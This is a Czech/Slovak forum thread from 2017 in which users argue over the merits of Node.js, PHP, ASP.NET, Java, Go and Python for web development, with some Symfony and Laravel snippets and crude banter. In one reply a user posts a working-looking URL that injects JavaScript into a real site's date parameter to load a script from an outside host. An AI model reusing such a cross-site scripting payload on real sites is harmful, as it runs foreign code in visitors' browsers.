Node.js vs PHP vs ASP.NET

Mlocik97

  • *****
  • 830
  • Ubunťák, JS dev.
    • Zobrazit profil
    • E-mail
Node.js vs PHP vs ASP.NET
« kdy: 20. 09. 2017, 21:42:07 »
Dobrý večer, chcel by som sa spýtať iba na Váš osobný názor čo považujete za pozitíva a čo za negatíva Node.js, PHP a ASP.NET alebo vaše porovnanie medzi nimi.


linuxak

Re:Node.js vs PHP vs ASP.NET
« Odpověď #1 kdy: 20. 09. 2017, 22:14:52 »
Jako backendak (c++, python) nesnasim js na serverove strane (node.js), php jsem hodil za hlavu pred 10 lety, asp.net je microsoft. Doporucil bych javu pro zacatek.

Milfaus

Re:Node.js vs PHP vs ASP.NET
« Odpověď #2 kdy: 20. 09. 2017, 22:29:11 »
Node.js, PHP

Hele, PHP je super na to, abys projekt napráskal.
Prostě si k tomu sedneš, prasíš, prasíš, prasíš a ono to pak FUNGUJE.
Často to funguje i roky a dobře!

Někdo ti to může sprasit ať už to napíšeš v čemkoliv:
http://www.spd.cz/akce?date=2017-09-11%27);$.getScript(%27http://www.krtek.net/spd.js%27);$(%27#kokoti&month=09&year=2017

Nejvíc spraseného kódu je údajně v PHP, ale to jde ruku v ruce, v PHP prostě sedneš a píšeš.
Dokonce i osel se v tom naučí za chvilku pracovat.

Teď se pojďme podívat na Javu a ASP.NET.
Tady už to chce znát takové ty věci jako MVC/MVP/MVVM a tak dále.
Není to o tom, že sedneš a píšeš.
Musíš mít poměrně DOBŘE promyšlené to, co chceš napsat.

Tak třeba tahle rada:
Doporucil bych javu pro zacatek.
Někde jsem slyšel, že Javisti nemají s chybami problémy, částečně protože si zvykli, že to mají pořád rozbité a částečně proto, že Java jako Jazyk tě vede a děláš daleko méně kravin. Java jako taková je ČISTÁ, relativně čistá, proto ty také píšeš čistý kód.

ALE MUSÍŠ TO MÍT DOBŘE ROZMYŠLENÉ!
Neexistuje, že by ses rozhodl, že tvoje aplikace pro evidenci nalezených psích bobků bude evidovat chybějící dopravní značky.

Není to o tom, jestli je lepší to nebo ono.
Je to o tobě.
Kdybych chtěl napsat velkou věc, znal přesné zadání a datový model, napíšu to v C#, protože v tom dělám.
(V Java by ten projekt vypadal nejspíš lépe!)
Kdybych chtěl začít prasit a vlastně ani tak přesně nevěděl, co chci splácat, vykašlu se na všechny modely a naprasím si to v PHP, includnu si do daných PHP skriptů připojení k databázi, šáhnu si pro to, co potřebuju, nebudu se otravovat s nějakým NHibernate, prostě to naprasím, budu se soustředit ČISTĚ NA VÝSTUP. Získám tak neuvěřitelně rychle fungující "prototyp".

Node.js je pěkná a dnes už prověřená technologie.
Pro ty, kteří milují Javascirpt (s Javou to nemá nic společného), fajn.

Milfaus

Re:Node.js vs PHP vs ASP.NET
« Odpověď #3 kdy: 20. 09. 2017, 22:40:22 »
Doplnění:

Podle tvé otázky s programováním nemáš moc zkušeností, takže tě ještě krátce uvedu do problému.
Abys mohl psát pro web něco, na co budou koukat lidi, potřebuješ:

- HTML5 + eventy
- zmáknout CSS
- Alespoň základní Javascript
- Programovací jazyk na serveru
- Databáze

Pokud si tam zamícháš ještě pokročilý programovací jazyk, musíš přidat návrhové vzory, ono prasit v Java jde, ale prasí se v tom blbě. Už třeba jen předávání si session z jednoho spraseného objektu do druhého spraseného objektu.
Je s tím víc drbání než v PHP, PHP je na prasení tak nějak uvyklé.
PHP je i jednodušší na ladění, hosting na tom najdeš úplně všude, nepotřebuješ žádné pokročilé IDE a je to prostě noob friedly.

Hele, ono toho je dost, takže pro dobrou radu musíš uvážit projekt, který chceš napsat, svoje schopnosti a přizpůsobit to tomu. Opravdu tě NECHCI nijak urazit, snažím se ti zhruba načrtnout situaci.

Honza

Re:Node.js vs PHP vs ASP.NET
« Odpověď #4 kdy: 20. 09. 2017, 23:04:07 »
Vybírat mezi Node.js, PHP, ASP.Net a Javou, víte jak mi to přijde? Je to podobné, jako u voleb volit parlamentní strany, a zároveň na ně stále nadávat. Někdo nadává více, někdo méně, na tohle, nebo na tamto. Ale žádná změna nepřijde. O ji totiž vlastně nikdo nechce. Nic jiného údajně nemá šanci, nebo nic jiného neznáme.
Žádný rozdíl v tom nevidím. Myslí si to někdo taky?


Aoidhghean

Re:Node.js vs PHP vs ASP.NET
« Odpověď #5 kdy: 20. 09. 2017, 23:29:54 »
Bez kontextu těžko radit. Obecně to je všechno z bláta do louže, pro trochu větší projekt to chce například Go nebo C++ nebo Swift nebo Rust (nativně kompilované a rychlé) nebo něco podobného. Na malé projekty stačí třeba ten node.js, jazyk je sice pakárna, ale celé to běží nad libuv a jde-li jen o servírování dat bez nějakých výpočtů, je to schůdné řešení.

abbc

Re:Node.js vs PHP vs ASP.NET
« Odpověď #6 kdy: 21. 09. 2017, 00:58:53 »

Nemyslim si, ze je to tak. Dnes sa prasi v PHP rovnako ako sa prasi v Jave, alebo v akomkolvek inom jazyku. Kazdy, kto to so svojim projektom mysli vazne, sa praseniu snazi vyhnut (dufam!).

Snad si uz nikto rozumny dnes nepise (pre stredne velke a velke projekty) v PHP vlastny framework tak, ako sa to robilo pred rokmi. Zvycajne sa pouzije bud Symfony, alebo Laravel.

Vacsina ludi si dnes uz nepise ani raw SQL query ako sa to robilo pred par rokmi. Pouzije sa radsej nejake ORM, kedze uz je vacsinou sucastou niektoreho z popularnych frameworkov - ci uz je to Doctrine ORM, alebo Eloquent. Vyzera to velmi podobne ako v Jave.

Priklad entity v Symfony:
Kód: [Vybrat]
/**
 * @Entity
 * @Table(name="users")
 */
class User
{
    /**
     * @Id
     * @GeneratedValue
     * @Column(type="integer")
     * @var int
     */
    protected $id;
   
    /**
     * @Column(type="string")
     * @var string
     */
    protected $name;

    // gettery a settery
}

Priklad query v Laravel:
Kód: [Vybrat]
$users = DB::table('users')
                ->where('age', '>', 20)
                ->orderBy('name', 'desc')
                ->get();

dokonca Symfony a aj Laravel poskytuju nastroje, vdaka ktorym si mozem vygenerovat modely, tabulky, controllery, listenery, eventy a mnoho dalsieho a tak si usetrim cas pisanim zbytocneho boilerplate kodu. Popravde, na nieco podobne som v Jave ani v C# nenarazil.

Generovanie modelu a zaroven resource "CRUD" controlleru a migracie v Laravel pomocou nastroja Artisan (jeden riadok v terminaly :o)
Kód: [Vybrat]
$ php artisan make:model -mr User
Taktiez nesuhlasim, ze v PHP clovek nemusi poznat navrhove vzory a ze ho vobec nemusi zaujimat nejake to MVC, totiz spominane frameworky su zvacsa prave MVC frameworky. Bezne sa pouziva DI, kontajnery, zavislosti sa riesia pomocou dependency managera (composer).

Ano, suhlasim PHP sa ladi celkom dobre, obcas pouzivam xdebug v kombinacii s Eclipsom a je to naozaj pohodlne a ano ked kodis v PHP, tak IDE nepotrebujes. Rovnako ako ho nepotrebujes ani pri pisani Java, JS, C++, Haskell aplikacii, ale niektorym ludom (nie mne :) ) vyhovuje viac ako Vim.

PS: Ohladom vykonu, ktory tu spomenuty nebol, tak PHP 7 si oproti starsim verziam vyrazne polepsilo.

Milfaus

Re:Node.js vs PHP vs ASP.NET
« Odpověď #7 kdy: 21. 09. 2017, 01:20:06 »

PHP je ohýbák a když na něj použiješ sto rovnáků, získáš "zase cca rovný kus tyčky".
To, co píšeš, je samozřejmě TROCHU pravda, řada lidí se snaží z PHP udělat Javu/.NET.
Je to stejná konina, jako se snažit napsat textový editor v BASH!

Tady:
Ti možná potvrdí, že v Java byl podobný experiment, kdy se z Java snažili udělat pro změnu PHP.

No ano, PHP ti skutečně dává možnosti dělat v PHP a přitom si hrát na to, že používáš highendovou technologii, stejně jako si můžeš do své staré felicie koupit plyšové kostky na zrcátko, potahy z leopardí kůže přilepit si na to přítlačné křídlo. No a stejně směšně to pak připadá lidem, kteří používají pro daný účel mnohem vhodnější jazyky.

Joooooo můžeš to v tom PHP lepit včetně návrhových vzorů a všech těch věcí z pořádných jazyků.
Dokonce si můžeš hrát i na unit testy, alespoň existovalo PHPunit co si pamatuji.
Když z toho budeš mít orgasmus, tak ti to přeju.

Jenže je to asi tak směšné, jako to přítlačné křídlo na té felicii.
Jestliže používáš návrhové vzory, objektově relační zobrazení, unit testy a auditovaný kód, fakt se podívej po něčem jiném, než je PHP.

Diskobolos

Re:Node.js vs PHP vs ASP.NET
« Odpověď #8 kdy: 21. 09. 2017, 06:16:57 »

A jéje, zase se vyjadřuje někdo, kdo tomu nerozumí a je plný mindráků.

Pokud se rozhodneš dělat v nějakém opravdu MVC frameworku (Symfony, Nette) pod PHP 7.x, budeš mít alespoň nějaké ponění o OOP (to využiješ napříč jazyky), můžeš dělat plnohodnotné webové aplikace. Získané návyky využiješ později v Javě i .NET.

Výhodou PHP je, že můžeš začít hned (LAMP/WAMP, Symfony, Nette). S Javou potřebuješ nějaké základní znalosti na začátek (trvá to, než uděláš svůj první Hello world).

Re:Node.js vs PHP vs ASP.NET
« Odpověď #9 kdy: 21. 09. 2017, 08:51:26 »
PHP je ohýbák a když na něj použiješ sto rovnáků, získáš "zase cca rovný kus tyčky".
....
Jestliže používáš návrhové vzory, objektově relační zobrazení, unit testy a auditovaný kód, fakt se podívej po něčem jiném, než je PHP.
Kecáš z neznalosti. Evidentne ti nejakej phpkar voklatil starou a ty to porad pripisujes programovani misto jeho vohejbaku.
Děkuji za možnost editace příspěvku.

maslo

Re:Node.js vs PHP vs ASP.NET
« Odpověď #10 kdy: 21. 09. 2017, 09:25:02 »
Prasti jak uhod. Vsechny jsou +/- stejne Node.js je malinko vykonnejsi kvuli sve asynchronni nature a protoze nepotrebuje http server. ASP.NET je samozrejme windows server only, ostatni jsou multiplatfo.

Youda

Re:Node.js vs PHP vs ASP.NET
« Odpověď #11 kdy: 21. 09. 2017, 09:41:44 »
NodeJS je IMHO hype ktere pujde do kytek. Kazdy kdo ma do zadele diru ma puzeni udelat si vlastni balickovaci system. Celkove je to svincik, kde se API knihoven prekopavaji co dva mesice.

PHP uz dneska nema moc co nabidnout, existuji pro to knihovny aby se to dalo pouzit, ale jsou to rovnaky na ohybak. Komedie typu if($x = $y) vs. id ($x ==  $y) vs. if($x === $y) zustavaji, jazyk umoznuje prasit, kompiler to nepochyta a developer pak jenom cumi.

ASP.NET taky nema moc co nabidnout, je podobny Jawe, ale nema kolem sebe ekosystem mavenu a Apache Foundation.

Osobne nyni doporucuju Jawu + Go. Go obecne nyni nahrzuje NodeJS
Java + Angular || Spring MVC Thymeleaf || Bootstrap na venkovni web
Java + Primefaces na  intranety
Go na time critical veci a na mikroservices

Aoidhghean

Re:Node.js vs PHP vs ASP.NET
« Odpověď #12 kdy: 21. 09. 2017, 09:52:39 »
Go obecne nyni nahrzuje NodeJS
Tak, už i tvůrce node.js Dahl přešel na Go.

had

Re:Node.js vs PHP vs ASP.NET
« Odpověď #13 kdy: 21. 09. 2017, 09:55:09 »
ze tu nikdo nezminil Python   a frameworky django, flask
jako jedni z mala se snazi usetrit cas a ne hazet klacky pod nohy picovinama a chorejma navrhama

Milfaus

Re:Node.js vs PHP vs ASP.NET
« Odpověď #14 kdy: 21. 09. 2017, 11:31:44 »

Jsem nevěděl, že prasíš v PHP  ;D a já tě měl za programátora  ;D